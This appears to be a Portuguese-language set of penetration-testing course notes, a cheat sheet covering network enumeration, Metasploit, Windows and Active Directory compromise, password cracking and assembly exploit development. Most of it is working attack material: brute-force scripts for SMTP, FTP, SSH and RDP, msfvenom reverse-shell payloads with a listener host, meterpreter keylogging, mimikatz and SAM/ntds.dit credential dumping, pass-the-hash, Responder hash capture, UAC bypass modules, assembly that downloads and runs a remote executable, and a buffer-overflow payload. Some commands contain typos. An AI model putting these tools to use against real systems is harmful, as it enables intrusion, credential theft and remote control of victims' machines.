Conexão FTP com o servidor passando login e senha | anonymous anonymous, ftp ftp comando passivo habilita o modo passivo podendo listar os arquivos

Nota: Porta 139 NetBios porta mais antiga

Porta 445 SMB serviço mais atual

  • Enumerando SMB no CMD

.

nbtstat -A 192.168.2.101 

Retorna informações da máquina como nome, grupo etc...

net view \\192.168.2.101 

Lista os arquivos compartilhados do host

net use \\ 192.168.2.101 "" /u:"" 

Tenta estabelecer um NULL Session (sem user e pass) no netbios

nbtstat -c 

Mostra o cache das buscas realizadas

net use h: \\192.168.2.101\filename 

Monta o compartilhamento no H

net use h: /delete 

Deleta o compartilhamento montado

for /f %i in (wordlist.txt) do net use \\192.168.2.101 %i /u:usr 

Brute force smb no CMD

for /f "tokens=1,2" %i in (wordlist.txt) do net use \\192.168.2.101 %j /u:%i 

Brute force smb no CMD com login e senha

  • Enumerando SMB no terminal

Alternativa: nmblookup

nbtstat -r 192.168.2.0/24

Procura por hosts com compartilhamento de arquivos ativos

smbclient -L \\192.168.2.101

Lista os arquivos do host com smb ativo -N Loga como usuário anônimo -U para passar um usuário sem senha. Se usando uma ferramenta mais recente em hosts antigos use o parâmetro --option='client min protocol=NT1'

smbcliente //192.168.2.101/filename 

Conecta diretamente ao arquivos/pasta do host

  • Enumerando com RPC

.

rpcclient -U " " -N 192.168.1.5

Serve para conectar em servidores com acesso remoto disponível

Enumdomusers

Dentro do RPC client lista os usuários

queryuser usuário

Dentro do RPC lista as infos do Usuário

Netshareenumall

Lista todos os compartilhamentos

Querydominfo

Mostra informações sobre o domínio

Escalar Privilégios com RPCCLIENTÇ

Ferramenta enumeração completa ENUM4LINUX

enum4linux -U 192.168.2.101 

Faz a enumeração em busca de usuários e -a para buscar por tudo e -S para buscar por compartilhamentos, o -u permite passar o usuário para autenticação.

Linenum.sh 

Link da ferramenta:

Scripts em busca de informações e vulnerabilidades

nmap -v --script=smb-enun-domains 192.168.2.100

Busca por domínios do host passado

nmap -v --script=smb-vuln-ms* 192.168.2.100

Verifica se o host tem a vulnerabilidade dos scripts passados o * o curinga para ele ler todos os scripts que tenham o mesmo prefixo

Script enumeração SMTP

        import socket, sys

        if len(sys.argv) !=3:

                print "Modo de uso: nome do arquivo, IP e usuário"

                sys.exit(0)

        tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        tcp.connect((sys.argv[1],25))

        banner = tcp.recv(1024)

        print banner

        tcp.send("VRFY "+sys.argv[2]+"\r\n")

        user = tcp.recv(1024)

        print user

Script enumeração SMTP bruteforce

        import socket, sys,re

        file = open("wordlist.txt")

        for linha in file:   

                    tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

                    tcp.connect((sys.argv[1],25))

                    banner = tcp.recv(1024)

                    tcp.send("VRFY "+linha)

                    user = tcp.recv(1024)

                    if re.search("252", user): #printa somente as linhas com o número 252

                            print "Usuário encontrado: "+user.strip("252 2.0.0") #printa ignorando o 252...

Enumeração com TELNET

telnet 192.168.2.10 

Conecta com a porta 23 para fazer login e encontra as senhas em cirt.net/passwords e/ou datarecovery.com/rd/default-passwords

  • Enumerando com SSH

. nc 192.168.1.1,2,5,120 22

Captura o banner da porta e um possível SO

ssh -v 192.168.1,2,5,120 

SSH em modo verbose com informações detalhadas informando as chaves de autenticação aceitas pelo servidor Local dos known hosts (/root/.ssh/known_hosts)

  • Subindo serviço de SSH

.

nano /etc/ssh/sshd_config 

Arquivo de configuração podendo alterar porta padrão assim como permitir acesso de login com usuário root PermitRootLogin Yes / PublickeyAuthentication (Server)

    ssh-keygen 

Roda o comando seguido do caminho /home/user/Desktop na máquina que vai acessar o ssh (Client)

nano /etc/.ssh/authorized_keys 

Copiar os dados de id_rsa.pub gerado acima e cola no (Servidor)

ssh-add id_rsa 

Adiciona a chave no host que vai conectar ao servidor ssh (Client)

ssh -i root_key -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@10.10.35.233

Acessa o host com a chave em ambientes mais antigos

Nota: Criar usuário e colocar a chave pública dentro do servidor para ganhar acesso ao servidor ssh sem precisar da senha

  • Enumerando Network File System (NFS) -P 2049

.

rpcinfo -p 192.168.1.5 | grep nfs 

Enumera as informações da versão do NFS

showmount -e 192.168.1.5 

Mostra os pontos de montagem do host

mkdir /temp/nfs 

Cria a pasta para fazer a montagem do diretório

mount -t nfs -o nfsvers=2 192.168.1.5:/ /temp/nfs 
sudo mount -v -t nfs -o vers=3,proto=tcp,nolock 192.168.1.31:/home/camila /tmp/nfs/

Monta o host disponível no caminho criado usando o ponto de montagem do host descoberto anteriormente

cd /temp/nfs 

Vai para o diretório montado anteriormente

umount nfs 

Desmonta o ponto de montagem do host montado anteriormente.

  • Enumerando o SNMP - UDP 161

Nota: Usado para gerenciamento de rede basicamente, a Communit é a palavra secreta, o OID é o id do objeto e os MIBs são as infos, instalar o pacote de informações adicionais: apt install snmp-mibs-downloader. Para listar os usuários usa-se 1.3.6.1.2.1.6.13.1.3, Communitys padrões: public, private, cisco, manages, access, secret. Sites com informações relevantes alvestrand.no/objectid/1.3.6.1.2.1.html e oid-info.com

onesixtyone -c lista.txt 192.168.1.0/24

Varre a rede em busca de serviços snmp ativos

snmpwalk -c public -v1 192.168.1.4 1.3.6.1.4.1.77.1.2.25 

Invade o host encontrado em busca de nomes de usuários

apt install snmp-mibs-downloader 

Instalar o pacote de informações adicionais.

echo "" > /etc/snmp/snmp.conf 

Configura o pacote instalado anteriormente

snmptranslate -IR sysUpTime 

Pega o Mib do UP time

snmptranslate -Td SNMPv2-MIB::sysUpTime 

Lista detalhes do MIB descoberto no comando anterior

snmptranslate -TB icmp 

Exibe vários tipos de MIB de acordo com a pesquisa

snmpwalk -c public -v1 192.168.1.4 IP-MIB::icmpInEchos 

Invade o Host mostrando a quantidade de pacotes ICMP enviados a ele.

snmp-check 192.168.1.4 -c public 

Carrega informações importantes da máquina com SNMP aberto

snmpwalk -c manager -v1 192.168.1.247 

Acessa com o nível de administrador

snmpset -c manager -v1 192.168.1.247 SNMPv2-MIB::sysContact.o s "KidMan" 

Altera a info de contact do serviço snmp do servidor.

sudo hydra -P /usr/share/wordlists/metasploit/snmp_default_pass.txt 192.200.0.103 snmp

Bruteforce de community do snmp

nc -vz -u 10.1.0.100 53

NC para conexão udp com host

  • Enumeração MySQL

.

mysql -h 192.168.1.5 -u root 

Conecta no MySQL usando o usuário root

describe COLUMNS from <TABELA> 

Dentro do mysql descreve as tabelas

show databases 

Dentro do mysql mostra as base de dados

use databasename 

Dentro do mysql abre a base de dados

show tables 

Dentro do mysql mostra a lista de tabelas da base de dados

Site de comandos MySQL:

ANÁLISE DE VULNERABILIDADES

Sites que têm exploits e informações de vulnerabilidades.

packetsormsicurity.com/files/tags/exploits

securityfocus.com/vulnerabilidades

Exploit-db.com

Cvedetails.com

nvd.nist.gov/vuln/search

Rapid7.com

Ferramentas de automação de análise de vulnerabilidades:

    Nessus - service nessusd start | stop

    OpenVas

    Qualys

    searchsploit webmin
  • NMAP NSE

.

/user/share/nmap/scripts# grep "ftp" scripts.db 

Pesquisa por script pelo nome

/user/share/nmap/scripts# nmap -p21 --script ftp-vsftpd-backdoor.nse -Pn 192.168.2.10 

Pesquisa por vulnerabilidade com o script informado

/user/share/nmap/scripts# nmap -p21 --script ftp-vsftpd-backdoor.nse --script-args cmd="ls -la" -Pn 192.168.2.10 

Executa argumentos para validação da vulnerabilidade

/user/share/nmap/scripts# nmap -p21 --script ftp-anon.nse -Pn 192.168.1.108 

Procurando por vulnerabilidade de FTP com usuário anônimo

/user/share/nmap/scripts# nmap -p80 --script http-shellshock --script-args uri=/sgi-bin/test.cgi,cmd=ls 192.200.0.108

Executando o script com argumentos após a varredura do host e descobrir o caminho test.cgi

Nota: Shadow Brokers do Nessus para busca por vulnerabilidades de 2017 publicadas pelo shadow brokers.

METASPLOIT FRAMEWORK

systemctl start postgresql 

Iniciar o banco de dados para ser usado pelo msfconsole

msfdb init 

Iniciar o banco de dados do metasploit

searchsploits proftp 

Procura por exploits dentro do metasploit

use auxiliary/scanner/portscan/tcp 

Usa o auxiliar para fazer portscan

back 

Sai do auxiliar/exploit que você estava usando

search type:auxiliary|exploit portscan|snmp|smb|rdp 

Procura por tipo e termo informado facilitando o uso da ferramenta

services 

Mostra o que já foi descoberto/feito nos host (somente se estiver com a base de dados ativa)

services -p21 

Exibe a porta já encontrada

db_nmap -v --open -sS  -Pn 192.168.1.7 

Roda o Nmap dentro do MSF

nmap -v --open -sV  -Pn 192.168.1.4 -oX /opt/host4.xml

Nmap com output xml para importar no MSF

db_import /opt/host4.xml 

Importa o xml criado fora do ambiente

hosts 

Mostra todos os host encontrados na base do MSF

vulns 

Verifica se há algum host com vulnerabilidades

use auxiliary/scanner/ssh/ssh_login 

Usado para bruteforce de password ssh

sessions 

Lista as sessões ativas no momento

sessions -i 1 

Entra na sessão 1 informada pelo comando anterior

creds 

Mostra as credenciais salvas durante o pentest

use auxiliary/scanner/smb/smb_version 

Auxiliar para enumerar a versão do smb em busca de informações detalhadas

services -p 445 --rhosts 

Adiciona ao auxiliar/exploit os hosts daquela porta informada

hosts -i "informacao-a-ser-adicionada" 192.168.1.10 

Adiciona informação faltante do host

search type:exploits samba 

Procura por exploits para pentest em Samba

search type:exploits fullname:"Samba x.x.x.x" 

Procura por nome e versão

use auxiliary/scanner/smb/smb_ms17_010 

Informa se o host é vulnerável ou não

use exploit/multi/samba/usermap_script 

Exploit para explorar vulnerabilidade do Samba no Linux

show payloads 

Mostra os diferentes payloads disponíveis para o exploit usando no momento

Nota: Usar o payload Meterpreter habilitará funções adicionais. Payloads com _ são mais simples e payloads com / são do tipo staged, mais funcionalidades. Arquivos do tipo POST são de pós exploração para por exemplo abrir porta RDP na vítima.

nmap --open -p 445 --script=vuln -Pn 

Procura por vulnerabilidades com os scripts do NMAP

search rdp 

Encontra os módulos RDP e use para abrir uma porta rdp no alvo

xfreerdp /u:user@domain.com /v:192.168.2.11 

Conectar com RDP em modo gráfico

rdesktop

Alternativa para o xfreerdp

remmina

Alternativa para o rdesktop

Comandos para rodar no Meterpreter do windows

background 

No msf deixa a sessão em standby para voltar para a shell novamente mais tarde

PS

Mostra os processos atuais

execute -f notepad

Abre um programa

sysinfo

Mostra as infos do sistema

download local/do/arquivo

Baixa um arquivo

upload local/do/arquivo

Faz o upload de um arquivo

keyboard_send "nao se esconda"

Envia um comando ao teclado

keyscan_start

Começa a escutar o teclado

key_scan dump

Faz um dump do teclado

  • Comandos para uso no Msfvenom e Metasploit

.

exploit/linux/http/ipfire_oinkode_exec 

Exploit para firewall IPFIRE com autenticação

auxiliary/scanner/http/http_login

Auxiliar para brute force de logind http

Msfvenom

Ferramenta usada para desenvolver exploit, shell

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.16 lport:443 -f exe -o shellkidman.exe 

Criar Exploit em EXE

use exploit/multi/handler (add host and door) 

Usa o exploit genérico para ter shell com o exploit criado

set payload windows/x64/meterpreter/reverse_tcp 

Seta payload do exploit criado

python -m SimpleHTTPServer 80 

Abre servidor php para download de arquivos

exploit -j 

Cria jobs para acessar novamente tipo sessions

jobs 

Lista os jobs criados com o exploit -j. O -K mata todos os jobs

msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.0.16 lport:443 -f war -o kidman.war 

Cria exploit em war

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.16 lport:443 -f raw > kidman.php 

Cria exploit em php

Nota: Solução Lab KidMan Metasploit:

    https://absolomb.com/2018-02-24-HackTheBox-Matis-Writeup 
    porta serv kerberos
	ldapsearch --help 
Vasculha LDAP service do host passado

HASHES E SENHAS - LINUX

echo -n "kidman" | md5sum or | sha512sum or | sha256sum | sha1sum 

Codifica uma palavra em uma hash

md5sum arquivo.exe 

Verifica o MD5 do arquivo passado

bless arquivo.exe 

Ler e modifica um arquivo

Hash com Python:

    Import Hashlib.md5("KidMan").hexdigest()
    Import base64.b64encode("kidman")
    Import base64.b64decode("kidman")

.

hashid hashhere 

Ferramenta de identificação de hashes

hash-identifier hashhere 

Ferramenta de identificação de hashes

Site de quebra de Hashes: Altermativo

Ferramenta de quebra de hashes

    john
    hashcat

.

openssl passwd -6 -salt c4r4c73res senha123 

Cria Hash do tipo 6 com salt (For more search, man crypt https://man.archlinux.org/man/crypt.5.en)

for i in $(cat wordlist.txt);do echo -n $i " "; echo -n $i | md5sum;done > rainbow_tables

Função Bash para inserção de hash em wordlists

/etc/shadow 

Arquivo de hashes de senhas dos usuários do linux

unshadow /usr/passwd /usr/shadow > hashes 

Deixa o hash pronto para rodar no John the Ripper

Nota: Tipo de hash das senhas do linux: CRYPT

One Way ex.: sha256
Two Way ex.: base64

Compilador alternativo portável GCC:

GLIBC_Compiling

loncrack: Ferramenta do Longatto para quebra de hashes

    gcc loncrack.c -lcrypt -o loncrack 

Após baixar do GitHub compilar e executar

Script para quebra de senhas em Python

import crypt
salt = "taltal"
senha = "asdasd"
crypt.crypt(senha,salt)

.

exploit/linux/samba/is_known_pipename 

Exploit para samba em linux v3 e 4 e se der erro de encriptação, rodas os comando seguintes

    set smb::alwaysencrypt false  Seta a encrypt para falso
    set smb::protocolversion 1 Seta a versão para 1

Referências:

    https://www.whitehat.de/msf-metasploit-rubysmb-error-encryptionerror-communication-error-with-the-remote-host
    https://www.youtube.com/watch?v=JML84NJqnQU

Site para download de Wordlists 'dicionario', WL indicada dicassassin WeakPass

Comando para montar 'montando' uma lista de user:pass wordlist dicionario userpass paste -d: dicionario1.txt dicionario2.txt > dicionario_combinado.txt

HASHES E SENHAS - WINDOWS

%systemRoot%/system32/config/sam 

Local do arquivo de contas de suarios

%systemRoot%/ntds/ntds.dit 

Local dos arquivos de usuários do AD

%systemRoot%/system32/config/system 

Arquivo necessário para decriptar o sam

Obs.:Todos são bloqueados por execução e precisam de acesso administrativo

c:/windows/repair 

Local de backup desses arquivos (xp e 2003) possivelmente está desatualizado

reg save hklm\sam sam 

Salva o arquivo SAM do Reg do Win (root) all version

reg save hklm\system system 

Salva o arquivo System do Reg do Win (root) all version

vssadmin 

Cópia de sombra de volume

Nota: Exploit/windows/smb/ms08_067_netapi RHOST 192.168.1.4

Exploit de vulnerabilidade smb no XP

meterpreter> hashdump2 

Captura as hashes dos usuários do sistema

samdump2 system sam 

Captura/monta as hashes dos usuarios (unshadow)

impacket-secretsdump -sam sam -system system LOCAL

Faz o mesmo que o samdump2

msf6> search UAC: Os dois melhores…

    exploit/windows/local/ask 

Precisa da confirmação de usuário e de uma SESSION aberta para funcionar

    exploit/windows/local/bypassuac_fodhelper 

Usa a SESSION mas não precisa da confirmação do user

Nota: exploit-Windows-Eternalblue-win8 RHOST 192.168.1.233

  • Explorando o AD .

Ferramenta enumeração Active Directory -BLOODHOUND-

sudo apt install bloodhound
sudo console neo4j
http://localhost:7474/browser/
bloodhound
-> NO ALVO
powershell -ep bypass
..\Downloads\SharpHound.ps1
Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip 
-> COPIA o arquivo LOOT.ZIP gerado para o BLOODHOUND

.

vssadmin list volumes 

Lista os volumes para fazer a cópia

vssadmin create shadow /for=c: 

Cria uma cópia do c:

copy //nameCopiaSombra/windows/ntds/ntds.dit c:/ntds.dit 

Acessa a copia e copia o arquivo ntds do AD

copy //nameCopiaSombra/windows/system32/config/system c:/system 

Acessa a copia e copia o arquivo system

impacket-secretsdump -ntds ntds.dit -system system LOCAL 

Mostra as hashes das contas de usuários do AD

  • Quebrando senhas

.

john --format=lm hashesLM --show 

Quebra senha formato LM com Brute

john --format=nt hashesNTLM --show 

Quebra senha formato LM com Brute

  • Senhas em cache

.

cd /usr/share/windows-binaries 

Contém executáveis do windows para exploração

meterpreter> upload usr/share/windows-binaries/fgdump/fgdump.exe  c:/fgdump.exe 

Upload para a vítima para gerar os hashes em cache

shell: fgdump.exe 

Ele gerará dois arquivos cachedump e pwdump

meterpreter> upload usr/share/windows-binaries/wce/wce-universal.exe c:/wce-universal.exe 

Faz o upload do WCE para a vítima p/ quebra de senhas

shell:wce-universal.exe -w 

Traz as senhas em texto claro

meterpreter> load mimikatz 

Carrega o módulo do meterpreter para quebra de senhas (Substituído pelo KIWI)

Wdigest

Quebra as senhas usando o mimikatz

mimikatz-command 

Comando proprio do proprio mimikatz

mimikatz-command -f sekurlsa::wdigest -a full 

Quebra as senhas do alvo

mimikatz-command -f sekurlsa::logonPasswords 

Quebra as senhas dos usuários de logon

Usando as credenciais

smbclient -L \\192.168.1.60 -U rogerio -W dominio
smbclient -l //192.168.1.60/dados -U rogerio -W dominio
xfreerdp /v:192.168.1.60 /u:rogerio /p:password
  • Obtendo Credenciais pela rede

.

impacket-secretsdump user:senha@ip

Se conectará ao ip com as credenciais e varrerá a vítima em busca de outras credenciais/hashes

  • Subindo CMD com credenciais do Windows

.

winexe -U user%password //192.168.1.60 cmd.exe 

Conseguir a shell do alvo usando credenciais válidas

NOTA: exploit/windows/smb/psexec, payload-x64-rev_tcp RHOST 192.168.1.60 para conseguir uma shell no alvo usando credenciais do AD no smb. Pesquisar UAC no metasploit encontra exploit para pegar admin/privesc no windows com usuário comum usando uma sessão ativa no metasploit

wce64.exe -w 

Executar no alvo o WCE64 dos resources do windows localizadas no kali e fazer a enumeração das hashes

pth-winexe -U rogerio%hashencontrado //192.168.1.60 

Autentica usando a hash encontrada, o mesmo pode ser feito no exploit psexec PassTheHash

  • Ferramenta completa de enumeração SMB

.

apt install crackmapexec

.

crackmapexec smb 192.168.1.0/24 

Procura por hosts e faz a enumeração do smb automaticamente

crackmapexec smb 192.168.1.0/24 -u rogerio -p 'password' 

Faz a varredura e diz o que dá para fazer ou não usando as credenciais passadas

crackmapexec smb 192.168.1.60 -u rogerio -p 'password' -X  'ipconfig /all' 

Roda um comando no alvo e traz a saída. O -L lista os módulos e o -h apresenta o Help

responder 

Ferramenta de escuta para falsificar respostas feitas na rede e capturar hashes

responder -I eth0 -Prv 

Escuta de forma a capturar hashes wireshark de hashes. -r para habilitar as respostas netbios e -v para verbose

hashcat -m 5600 arquivodahash /wordlist/pass.txt 

Quebra a senha encontrada

john --format=netntlmv2 arquivohash --wordlist=/caminho/wordlist.txt 

Quebra a senha encontrada

cp 44648.rb /caminho/do/modulo/metasploit/ 

    Importa exploit no metasploit para usar diretamente no metas (As vezes tem que editar o arquivo). O exploit 43198.py não importa na base devido não ser do padrão do metasploit.

PENTEST INTERNO DO ZERO AO DOMAIN ADMIN

Escopo é pegar apenas os hosts do orionscorp e fazer os testes de segurança

nmap -v -Pn -sS -p 445 192.168.1.0/24 -oG smb.txt 

Procura por hosts com compartilhamento ativo em busca do servidor de AD

crackmapexec smb targets-da-cap-canterior.txt 

Procura pelos hosts encontrados anteriormente para enumerar o serviço smb e saber dos computadores no grupo orionscorp

nmap -v -Pn -p- 192.168.1.243 

Varre as portas do host do AD para saber dos serviços ativos

host 192.168.1.241 192.168.1.243 

Para descobrir o nome do host perguntando para o servidor de DNS da orionscorp (segundo IP é o IP que responde à pergunta de DNS, quando passado)

Maquina Pentester: cat /etc/responder/responder.conf

Em: RespondTo = 192.168.1.243, 192.168.1.241, 192.168.1.253

responder -I eth0 -Priv 

Escuta os hosts passados anteriormente e capturar os hashes pela rede - Ao capturar a hash use uma ferramenta para quebrar e obter a senha

Validando os usuários

crackmapexec smb hosts.txt -d dominio -u user -p 'password' 

Validar usuários encontrados e tentar saber qual tem permissão de execução de comandos Pwn3d!

python3 /usr/share/doc/python3-impacket/examples/psexec.py dominio/usuario:'senha@192.168.1.253' 

Faz a autenticação usando o psexec podendo também usar o metasploit (PTH Pass The Hash)

Nota: Com o usuário com permissão de execução de comandos, pode-se acessar o rpcclient e enumerar mais informações do servidor de AD.

  • Ambiente WinXP:

Usando o repair é um cache antigo no caso nos sistemas windows XP... Usando o reg save é o que o hashdump usa, ou seja, mais atualizado. Resumindo, dar um reg save é a mesma coisa de hashdump (Win10 e XP com adm)

No AD se usa o NTDS.dit

impacket-secretsdump dominio/usuario:'senha'@192.168.1.253 

Tentar pegar as senhas dos administradores do sistema

meterpreter: loads kiwi 

Carrega o Kiwi para enumeração de hashes

creds_all 

Trazendo os hashes dos usuários | DCC = domain cash credentials

hashcat -m 2100 hash-tipo-dcc.txt /local-word/list.txt --show Quebra hash da credencial de ADM

.

crackmapexec 192.168.1.243 -u egabriel -p 'p@ssw0rd' -x 'ipconfig' 

Valida a senha de adm e envia comando direto para a máquina do AD

crackmapexec smb 192.168.1.243 -u user -p 'password' -L 

Lista os módulos do crackmapexec inclusive te permite habilitar o RDP, caso esteja desabilitado

crackmapexec smb 192.168.1.243 -u user -p 'password' -M rdp --options 

Lista as opções do módulo

crackmapexec smb 192.168.1.243 -u user -p 'password' -M rdp -o ACTION=enable 

Ativa o modulo

netsh advfirewall firewall add rule name="rdp" protocol=TCP dir=in localport=3389 action=allow 

Adiciona regra no firewall para habilitar o RDP

BRUTE FORCE

grep -r "pedro123" * 

Vai buscar em todos os arquivos do diretório a palavra informada

office2john arquivo.xls 

Prepara o arquivo para quebrar senha no John

zip2john arquivo.zip 

Prepara o arquivo para quebrar a senha com o john

ssh2john id_rsa > id_rsa_hash 

Cria o arquivo com a hash para quebrar no John posteriormente

john --wordlist=wl.txt --rules --stdout > mutacao 

Mutando uma wordlist existente

/etc/john/john.conf | search wordlist mode rules | ^INI[1-10] $FIN[1-10]  

Personalizar wordlist com dígito no fim e no início.

cewl site.com -m 7 

Busca palavras dentro do site com 7 chars, um Crawler de palavras

crunch 10 10 -t palavra^'char-spec'%'digito'@'minus','maius' 

Cria Gera senha password gerador wordlist com a palavra passada e com dígitos com as flags informadas.

  • Key Space Brute Force

.

crunch 4 4 0123456789 -o pin.txt 

Gera um pin de 4 digitos na wordlist

 chrunch 7 7 -t dev%%%%  > wldev.txt

Gera uma wordlist com a palabra dev seguida de 4 dígitos crescentes PIN

crunch 4 4 -f charset.lst numeric -o pin.txt 

Gera um padrão usando a lista charset.lst (usr/share/crunch/charset.lst) e informando o padrão, se numérico, se caracteres especiais se alfabeto...

hydra -v -l rogerio -p admin -m servers.txt smb 

Bruteforce no serviço SMB. FTP, RDP

hydra -v -L users.txt -p admin 172.17.1.4 ssh -W 10 

Bruteforce em reverse brute force onde o bloqueio por tentativa é apenas no campo senha. E o tempo com de 10s de uma requisição para outra

hydra -v -l  user -p passwd -M servers.txt -s 2222 

Brute force com password encontrado em todos os servers.

  • Script Bruteforce em FTP (usando python2)

.

#!/usr/bin/python

import socket,sys,re

if len(sys.argv) != 3:

    print ("modo de uso: nome do programa alvo e usuário")

    sys.exit()

target = sys.argv[1]

usuario = sys.argv[2]

f = open ('wordlist.txt')

for palavra in f.readlines():

	  print ("realizando ataque FTP: %s:%s" %(usuario, palavra))

	  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

	  s.connect((target, 21))

	  s.recv(1024)

	  s.send("USER "+usuario+"\r\n")

	  s.recv(1024)

	  s.send("PASS "+palavra+"\r\n")

	  resposta = s.recv(1024)

	  s.send("QUIT \r\n")

	  if re.search('230', resposta):

		 print ("[+] Senha encontrada ---->",palavra)

		 break
  • Script BruteForce em SSH (usando python3)

.

pip install paramiko

#!/usr/bin/python

import paramiko

ssh = paramiko.SSHClient()

ssh.load_system_host_keys() #ler os known_hosts da lista

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #Adiciona ao know_host faltante

f = open ('wordlist.txt')

for palavra in f.readlines():

	senha = palavra.strip()

	try:

	    ssh.connect('192.168.1.5', username='root', password=senha)

	except paramiko.ssh_exception.AuthenticationException: # Tratar quando login errado

	    print ("testando com:", senha)

	else:

	    print ("Senha encontrada ---->", senha)

	    break

			    #stdin, stdout, stderr = ssh.exec_command('ls')

			    #for linha in stdout.readlines():

				    #print linha.strip()

ssh.close()  

Script BruteForce RDP em Bash

    for pass in $(cat lista.txt);

    do

    echo "Testando senha: $pass"

    xfreerdp /u:rgerio /p:$pass /d:gkidman /v:192.168.1.60

    done

DEV EXPLOITATION - ASSEMBLY PARA PENTESTERS WINDOWS

Breve tutorial do ambiente: Instala o DEV CPP e Immunity Debugger, copia o mona para dentro de py no Immunity

Pega o Path do nasm e do dev-cpp a bin e coloca nas configurações avançadas do windows onde troca de nome de usuário para aceitar o comando de qualquer lugar e faz os testes do comando nasm pra ver se ta funcionando.

  • Cria um arquivo com o Dev CPP

.

#include <stdio.h>

int main (){

	printf("Information Security");

}

    Roda e compila


    Programa em ASSEMBLY


global _main

section .text

_main:

    NOP

    NOP

    NOP

    NOP

    NOP

    NOP

    NOP

    NOP

    MOV EAX, 41424344h ;ABCD em hex

    MOV BX, 4141h

    MOV CH, 41h

    MOV DL, 41H

    XOR EAX, EAX

    XOR EBX, EBX

    XOR ECX, ECX

    XOR EDX, EDX

Salva em assembly.asm

    nasm -f win32 assembly.asm -o assembly.obj 

	Cria o executável do assembly

    objdump -d -M intel assembly.obj 

	Faz um dump do código e mostra na tela. (sem o parâmetro -M intel ele traz o código em AT&T)

    golink /entry _main assembly.obj 

	Linka o arquivo

Abrir o arquivo exe com o Immunity e analisar.

F7 inicia o debugger

New Origin Here Volta para o início do código (Click dir do mouse na linha)

MOV - Grava no registrador

JE - Pula se igual

JNE - Pula se Não igual

CMP - Compara

INC - Incrementa

PUSH - Coloca no top da stack

POP - Tira do topo da Stack
  • Script em C para Sleep do windows

.

#include <synchapi.h>

int main(){

    Sleep(4000);

}
  • Script em assembly Sleep

.

global _main

section .text

_main:

    xor eax, eax

    mov eax, 9000

    push eax

    mov ebx, 0x5401AB0 ; Endereço descoberto com o outro código

    call ebx

    golink /console /entry _main aguardar.obj Kernel32.dll 

	Cria o executável

    arwin Kernel32.dll 

Sleep Pega o endereço da memória sem precisar analisar o código no immunity

  • Script em C para cmd.exe do windows

.

#include <Windows.h>

int main(){

    system("cmd.exe");

}
  • Script em assembly cmd.exe

.

extern system

global _main

section .text

_main:

    push 0x00657865

    push 0x2E646D63

    push esp

    pop eax

    push eax

    mov ebx, 0x004025F8

    call ebx

    golink /console /entry _main cmd-exe-assembly.obj msvcrt.dl 

Linkar o obj gerando o exe

  • Código assembly Atividade cmd.exe /c calc.exe

.

extern system

global _main

section .text

_main:

    push 0x2E646D63

    push 0x00657865

    push 0x20632F20

    push 0x6578652E

    push 0x636C6163

    push esp

    pop eax

    push eax

    mov ebx, 0x74E54FB0

    call ebx
  • Script em C MessageBoxA

.

#include <windows.h>

int main(){

	MessageBoxA(0,"Ygor C Developer","From KidManSecurity",1);

}
  • Script Assembly MessageBoxA

.

extern _MessageBoxA

global _main

section .data

    texto db "www.kidmansecurity.com",0

    titulo db "keep Learning",0

section .text

_main:

    push 0

    push titulo

    push texto

    push 0

    call _MessageBoxA
  • Script ShellExecute em C

.

#include <windows.h>

int main (){

	ShellExecute(0, "open", "cmd", 0, 0, 3);

}
  • Script ShellExecute Assembly

Usar comando Shell32.dll p/ compilar com golink sem o /console para esconder o shell

extern _ShellExecuteA

global _main

section .data

    tipo db "open",0

    cmd db "cmd",0

    par db "/c mkdir ygor",0

section .text

_main:

    push 0

    push 0

    push par

    push cmd

    push tipo

    push 0

    call _ShellExecuteA

.

powershell -Command wget https://site.com/donwload/file.exe -Outfile c:/file.exe ; c:file.exe 

Executar comando no código assembly para fazer o download e executar o arquivo baixado.

Exemplo:

  • Script para baixar e executar arquivo com Assembly

.

extern _ShellExecuteA

global _main

section .data

    tipo db "open",0

    cmd db "cmd",0

    par db "/c powershell -Command wget 'https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe' -Outfile c:\file.exe ; c:\file.exe ",0

section .text

_main:

    push 0

    push 0

    push par

    push cmd

    push tipo

    push 0

    call _ShellExecuteA

DEV EXPLOITATION - ASSEMBLY PARA PENTESTERS LINUX

man syscall 

É basicamente o módulo do sistema responsável por executar os comandos

unistd_32.h / unistd_64.h 

Referência para os nomes das Syscalls

[Site que contém essas explicações:](syscalls.w3challs.com/?arch=x86 /?arch=x86_64)

nasm -f alf32 file.asm 

Cria o arquivo.o

ld -entry _main -m alf_i386 file.o -o file 

Cria o arquivo executável do linux

nasm -f alf64 file.asm 

Cria o arquivo.o 64b

ld -entry _main file.o -o file 

Cria o arquivo executável do linux 64bits

  • Script Assembly Linux

.

global _main

section .data

    curso: db 'KidMan Security', 0xa ; pula uma linha

section .text

_main:

    mov eax, 4 ;tipo de chamada do print

    mov ebx, 1 ;faz parte do print (0.1.2 0.saida.erro) tipo de output

    mov ecx, curso ;executa a variável

    mov edx, 15 ; tamanho da string

    int 0x80 

    mov eax, 1 ; chama o exit

    mov ebx, 0 ; envia o parâmetro

    int 0x80 ; executa

.

gdb -q ./arquivo-exec-comp -tui 

Arquivo para analisar que foi criado anteriormente (GDB = Immunity debugger)

Comandos do GDB e GDB TUI para Debugger linux

break _main 

Seta a parada para o _main

run 

Roda o programa até o momento informado (_main)

info registrers ou i r 

Mostra os registradores

disas 

Mostra o codigo

set disassembly-flavor intel 

Colocar a sintaxe para intel

stepi ou si 

Vai para o próximo passo (f7 do win)

x/s 0x8012a154 

Following dump do endereço para examinar o que tem dentro

x/16xw "eip" 

Para ver o que está no endereço, semelhante ao following dump

layout asm 

Mostra o layout do codigo assembly

layout regs 

Mostra os registradores

c 

Continue (f7 do breakpoint)

b* 0x3nd3r3co 

Break point setar

LEA 

Parâmetro que armazena um espaço na memória

run < < (python2 -c 'print "A" * 136 + "BBBB" + "\x70\x62\x55\x56"') 

Comando para usar no debugger para explorar o programa.

python -c 'print "A" * 136 + "BBBB" + "\x70\x62\x55\x56"' | ./protegido 

Exploit do programa protegido usado na aula de buffer no linux

EDB Debugger

edb --run program-name 

Abre o debugger de semelhante modo ao Immunity debugger

